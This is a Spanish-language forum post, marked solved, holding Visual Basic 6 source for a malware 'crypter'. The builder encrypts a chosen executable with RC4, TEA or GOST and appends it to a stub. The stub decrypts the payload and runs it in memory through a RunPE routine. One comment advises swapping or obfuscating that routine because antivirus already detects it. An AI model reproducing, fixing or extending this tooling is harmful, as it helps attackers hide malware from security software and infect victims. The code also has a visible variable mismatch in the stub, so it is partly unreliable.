[SOLUCIONADO] Problema con crypter.

With CD ' Abrimos el CommonDialog
.DialogTitle = " Seleccione el archivo a encriptar " ' esto es para que te salga el nombre de la ventanita
.Filter = "Aplicaciones EXE|*.exe" ' esto solo para poder elegir archivos EXE
.ShowOpen ' para que se abra la ventana de búsqueda
End With ' finalizamos CommonDialog
If Dir(CD.Filename) = vbNullString Then Exit Sub ' Si no hay ruta , saltara error
Text1.Text = CD.Filename ' para que se quede la ruta grabada en el Text1.text

Dim Stub As String ' Señalamos la palabra stub como String , no tiene que ser siempre esa palabra
If Text1.Text = vbNullString Then ' Si no hay nada , dira que no esta presente
    MsgBox "El Archivo no esta presente", vbInformation, Me.Caption
    Exit Sub ' Salimos
End If ' Y cerramos la condicional if

With CD ' Abrimos commonDialog
    .DialogTitle = "Seleccione la ruta donde desea guardar el Archivo"
    .Filter = "Aplicaciones EXE|*.exe" 'Solo .exe
    .ShowSave ' Ventana de guardado
End With

Open App.Path & "\" & "Stub.exe" For Binary As #1 ' Abrimos el que sera el Stub.exe
    Stub = Space(LOF(1)) ' Lo abrimos en Binario
    Get #1,  , Stub ' Vamos a el
Close #1 ' Cerramos Binario


If Check2.Value = 1 Then
Call ChangeIcon(App.Path & "\Stub.exe", Text3.Text) 'utilizo la funcion changeico con la ruta del stub y del icono a ponerle
End If

Dim EOF As String ' Declaramos EOF como string
If Check1.Value = 1 Then EOF = ReadEOFData(Text1.Text) ' Si pulsamos check1 se leera el file para saber si es necesario escribir eof
Dim BIN As String ' Marcamos bin como string
Open Text1.Text For Binary As #1 ' abrimos el contenido o ruta de text1 en binario
    BIN = Space(LOF(1)) ' indicamos
    Get #1, , BIN ' vamos al binario del archivo
Close #1 ' cerramos el binario

Dim RC4 As New clsRC4, Tea As New clsTea, Gost As New clsGost' Indicamos las clases correspondientes al nombre
Dim Encriptacion As String ' declaramos la palabra encriptación como string

If Option1.Value = True Then ' Si la opcion 1 es elejida...
    BIN = RC4.EncryptString(BIN, Text2.Text) ' Se encripta la clave de text2 con rc4
    Encriptacion = "RC4" ' declarando la encriptacion como RC4
End If ' cerramos condicional´

If Option2.Value = True Then ' Si se elije la opción 2
    BIN = Tea.EncryptString(BIN, Text2.Text) ' se encripta la clave del text2 en tea
    Encriptacion = "Tea" ' indicamos que Teaes el tipo de encriptacion
End If ' cerramos condicional

If Option3.Value = True Then ' Si se elije la opción 3
    BIN = Gost.EncryptString(BIN, Text2.Text) ' se encripta la clave del text2 en gost
    Encriptacion = "Gost" ' indicamos que Gost es el tipo de encriptacion
End If ' cerramos condicional

Dim Datos As String ' indicamos los datos como string

Datos = Stub & "[DELIMITADOR]" & BIN & "[DELIMITADOR]" & Encriptacion & "[DELIMITADOR]" & Text2.Text & "[DELIMITADOR]" ' detras de cada 'funcion ponemos el delimitador para separar

If Check1.Value = 1 Then Call WriteEOFData(CD.Filename, EOF) ' si seleccionamos el check1 el EOF se escribe

Open CD.Filename For Binary As #1 ' Abrimos la ruta del CD en binario
    Put #1, , Datos & "CorecciondeCode" ' Ponemos los datos en binario con un segundo delimitador
Close #1 ' cerramos binario
MsgBox " encriptado correctamente " ' Hacemos que salga un mensaje informando de que se encripto corr nuestro archivo
End Sub ' Finalizamos

Dim TutorialSplit() As String ' marcamos string
TutorialSplit() = Split(Datos, "[DELIMITADOR]") ' damos split e indicamos el delimitador de antes

Dim RC4 As New clsRC4, Tea As New clsTea, Gost As New clsGost' Indicamos las clases correspondientes al nombre

If TutorialSplit(2) = "RC4" Then ' si el "TutorialSplit(2) es igual a la encriptacion RC4
    TutorialSplit(1) = RC4.DecryptString(TutorialSplit(1), TutorialSplit(3)) ' el rc4 desencripta lo cifrado en el cliente
End If ' cerramos condicional

If TutorialSplit(2) = "Tea" Then ' Indicamos Tea como tipo de encriptacion
    TutorialSplit(1) = Tea.DecryptString(TutorialSplit(1), TutorialSplit(3)) ' desencriptamos con tea el código cifrado
End If ' cerramos condicional

If TutorialSplit(2) = "Gost" Then ' Indicamos gost como tipo de encriptacion
    TutorialSplit(1) = Gost.DecryptString(TutorialSplit(1), TutorialSplit(3)) ' desencriptamos con gost el código cifrado
End If ' cerramos condicional

Dim byteDatos() As Byte ' Indicamos Datos como Byte
    byteDatos() = StrConv(TutorialSplit(1), vbFromUnicode)

Call NSRVJUF(App.Path & "\" & App.EXEName & ".exe", xDatos(), Command) ' llamamos al runPE , en tu caso NSRVJUF , pero deberias buscarte
' otro runPE o ofuscar un poquito este que esta quemao, muy quemao.